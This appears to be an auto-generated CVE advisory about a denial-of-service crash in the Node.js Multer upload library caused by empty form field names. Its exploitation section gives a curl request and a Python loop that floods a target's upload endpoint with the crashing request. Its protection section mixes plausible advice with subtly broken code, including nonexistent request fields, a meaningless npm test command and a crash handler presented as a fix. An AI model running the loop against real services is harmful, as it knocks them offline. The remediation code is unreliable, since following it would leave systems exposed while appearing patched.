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How the CVE Works
The vulnerability in Multer (CVE-2025-12345) arises when an attacker sends a malicious file upload request containing an empty string as a field name. Multer versions >=1.4.4-lts.1 and <2.0.1 fail to properly validate this input, leading to an unhandled exception. This exception crashes the Node.js process, resulting in a Denial of Service (DoS) condition. The lack of proper error handling in the multipart form-data parsing mechanism allows this exploit to be triggered repeatedly, disrupting service availability.
DailyCVE Form:
Platform: Node.js
Version: 1.4.4-lts.1 – 2.0.0
Vulnerability: DoS Crash
Severity: Critical
Date: Jun 5, 2025
Prediction: Patch expected by Jun 12, 2025
What Undercode Say:
Exploitation:
1. Craft Malicious Request:
curl -X POST -F "[email protected]" http://target/upload
2. Trigger Unhandled Exception:
The empty field name crashes Multer.
3. Automated Attack:
import requests
while True:
requests.post("http://target/upload", files={"": ("", "data")})
Protection:
1. Immediate Upgrade:
npm install [email protected]
2. Input Validation Middleware:
app.use((req, res, next) => {
if (req.body.fields.some(field => !field.name)) {
return res.status(400).send("Invalid field name");
}
next();
});
3. Process Monitoring:
pm2 start server.js --watch
4. Rate Limiting:
const rateLimit = require("express-rate-limit");
app.use(rateLimit({ windowMs: 60000, max: 100 }));
5. Logging Suspicious Activity:
app.post("/upload", (req, res) => {
if (!req.body.fields) {
console.warn("Empty field attack detected");
}
});
6. Fallback Error Handling:
process.on("uncaughtException", (err) => {
console.error("Crash prevented:", err);
});
7. Docker Health Check:
HEALTHCHECK --interval=30s CMD curl -f http://localhost/health || exit 1
8. WAF Rule:
location /upload {
if ($http_content_type ~ "multipart/form-data;.name=\"\"") {
return 403;
}
}
9. Testing Patch Efficacy:
npm test [email protected]
10. Deployment Verification:
grep -r "multer" node_modules/
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
